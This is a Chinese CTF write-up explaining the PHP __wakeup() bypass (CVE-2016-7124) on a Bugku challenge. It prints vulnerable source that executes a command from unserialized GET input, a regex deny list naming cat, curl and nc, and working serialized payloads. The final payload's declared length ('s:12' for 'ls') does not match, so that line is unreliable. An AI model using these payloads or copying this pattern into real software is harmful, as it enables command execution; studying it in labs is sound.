PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)
写在前面
wakeup()是在反序列化的基础之上进行的,如果你不是很清楚反序列化漏洞,可以点击下方:
反序列化漏洞
漏洞影响的版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞利用方法
若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
漏洞出现情况
1.可以之间或简介控制序列化结果
2.__wakeup()函数会强制修改某些内容
示例(Bugku-web-安慰奖)
题目源码
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
这里的wakeup函数就强制对username属性进行更改,要得到flag就必须绕过wakeup,将username改成admin,然后再执行命令。
写出第一次的payload:
O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}
写的时候最好用脚本写,这里有protected关键字,要加*
手写容易出错。
接下来将ctf的参值长度改为3,由于与反序列化规则不符,就会反序列化失败,绕过__wakeup(),但是__destruct仍然可以执行。
注:
或许你会疑惑:
明明无法完成反序列化,为什么还可以触发__destruct(),为什么还能够对username属性赋值?
你可以这样理解:
反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改为了3,会先依次反序列化2个单位,直到无法检索到第3个目标才判定反序列化失败。
所以当然可以触发__destruct(),完成前面属性的赋值。
第二次的payload:
O:3:"ctf":3:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}
这里对命令进行了一定正则筛选
除了上述命令,还可以使用’tac’来检索文件
只是和cat反了过来。
并且由于是protected属性,会加上*
,并且长度为3(上面payload username名称那里长度为11也能推断出)
在url编码中,%00代表空,所以我们要手动加上。还原完整payload
所以最终payload:
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"ls";}
拿到flag